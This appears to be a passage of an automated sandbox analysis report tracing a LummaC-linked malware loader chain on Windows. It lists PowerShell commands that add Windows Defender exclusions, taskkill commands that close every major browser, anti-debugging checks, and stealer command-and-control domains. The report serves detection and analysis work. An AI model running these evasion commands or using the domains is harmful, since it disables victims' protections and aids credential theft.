Code function: 9_2_00BBF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_00BBF838

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1652B mov eax, dword ptr fs:[00000030h]	0_2_00D1652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D1A302 mov eax, dword ptr fs:[00000030h]	0_2_00D1A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009AA302 mov eax, dword ptr fs:[00000030h]	2_2_009AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009A652B mov eax, dword ptr fs:[00000030h]	2_2_009A652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009AA302 mov eax, dword ptr fs:[00000030h]	3_2_009AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009A652B mov eax, dword ptr fs:[00000030h]	3_2_009A652B
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BC7DEE mov eax, dword ptr fs:[00000030h]	9_2_00BC7DEE

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BCC030 GetProcessHeap,

9_2_00BCC030

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00BBF838
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBF9D5 SetUnhandledExceptionFilter,	9_2_00BBF9D5
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00BBFBCA
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BC8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00BC8EBD

Source: C:\Bridgecontainerserver\BrokerhostNet.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 91a3357555.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 91a3357555.exe.exe PID: 5172, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'

LummaC encrypted strings found

Source: 26624fe56e.exe	String found in binary or memory: diffuculttan.xyz
Source: 26624fe56e.exe	String found in binary or memory: debonairnukk.xyz
Source: 26624fe56e.exe	String found in binary or memory: deafeninggeh.biz
Source: 26624fe56e.exe	String found in binary or memory: effecterectz.xyz
Source: 26624fe56e.exe	String found in binary or memory: shineugler.biz
Source: 26624fe56e.exe	String found in binary or memory: immureprech.biz
Source: 376a884392.exe, 0000000C.00000003.2403599327.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe "C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe "C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe "C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe "C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Bridgecontainerserver\SlMo.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Bridgecontainerserver\BrokerhostNet.exe "C:\Bridgecontainerserver/BrokerhostNet.exe"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.cmdline"
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Bridgecontainerserver\BrokerhostNet.exe'
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\dgKup0njeM.bat"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD666.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCAD9FC9E56B4E44A3B8144428FC2A7230.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDBB5.tmp" "c:\Users\user\AppData\Local\Temp\1016093001\CSCF52E109CF7C34EE59E7558C84C69E5BD.TMP"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe "C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe"
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE79C.tmp" "c:\Users\user\AppData\Local\Temp\1016094001\CSCBC27F4A5D6E544C999D1D8F55EBB7E2B.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe "C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe"
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Process created: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe "C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe"

Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 897a67bb94.exe, 00000019.00000000.2548863644.0000000000BD2000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000003.00000002.1640428170.0000000000BA7000.00000040.00000001.01000000.00000007.sdmp, 26624fe56e.exe, 26624fe56e.exe, 0000000B.00000002.2363197027.0000000000BB0000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BBF654 cpuid

9_2_00BBF654

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

9_2_00BBAF0F

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016095001\897a67bb94.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016099001\9e7ab8eefc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016099001\9e7ab8eefc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016100001\8154ba1013.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016100001\8154ba1013.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016101001\e1ea717b96.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016101001\e1ea717b96.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Queries volume information: C:\Bridgecontainerserver\BrokerhostNet.exe VolumeInformation
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
